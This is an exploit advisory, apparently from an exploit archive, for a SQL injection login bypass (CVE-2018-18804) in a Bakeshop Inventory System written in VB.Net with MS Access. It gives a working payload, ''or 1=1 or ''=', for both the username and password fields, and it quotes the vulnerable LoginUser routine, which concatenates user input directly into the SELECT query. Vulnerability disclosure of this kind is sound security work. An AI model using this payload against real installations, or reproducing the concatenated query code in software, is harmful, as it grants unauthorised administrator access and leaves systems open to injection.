Bakeshop Inventory System In VB.Net / MS Access Database 1.0 SQL Injection

2018.10.30
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89

# Exploit Title: Bakeshop Inventory System in VB.Net and MS Access Database 1.0 - SQL Injection # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/users/janobe # Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/bakeshopinventory1.0.zip # Version: 1.0 # Category: Windows # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-18804 # POC: # 1) # User: 'or 1=1 or ''=' # Pass: 'or 1=1 or ''=' # # https://2.bp.blogspot.com/-xjiRUlpkNGc/W9Ywmp79JpI/AAAAAAAAENs/3UDWxFvuTfcJrEKDU9TUxJRpoT8T6yLLwCLcBGAs/s1600/sql4.png # #[PATH]/include/publicfunction.vb #.... #237 Public Sub LoginUser(ByVal userid As Object, ByVal pass As Object) #238 Try #239 con.Open() #240 #241 cmd = New OleDb.OleDbCommand #242 With cmd #243 .Connection = con #244 .CommandText = "SELECT * FROM tblUser WHERE U_UNAME ='" & userid.Text & "' AND U_PASS = '" & pass.Text & "'" #245 End With #246 #247 da = New OleDb.OleDbDataAdapter #248 da.SelectCommand = cmd #249 dt = New DataTable #250 da.Fill(dt) #251 #252 If dt.Rows.Count > 0 Then #253 #254 If dt.Rows(0).Item("U_TYPE") = "Administrator" Then #255 #256 MsgBox("You login as administrator!!") #257 #258 ShowForm(LoginForm1, Form1) #259 #260 #261 LoginForm1.Hide() #262 ElseIf dt.Rows(0).Item("U_TYPE") = "Staff" Then #263 #264 MsgBox("You login as Staff!!") #265 #266 With Form1 #267 '.ManageUsersToolStripMenuItem.Visible = False #268 #269 End With #270 #271 ShowForm(LoginForm1, Form1) #272 #273 #274 LoginForm1.Hide() #275 End If #276 #277 Else #278 MsgBox("Account does not exists.", MsgBoxStyle.Exclamation) #279 End If #280 #281 Catch ex As Exception #282 #283 MsgBox(ex.Message) #284 Finally #285 con.Close() #286 da.Dispose() #287 End Try #288 End Sub #....


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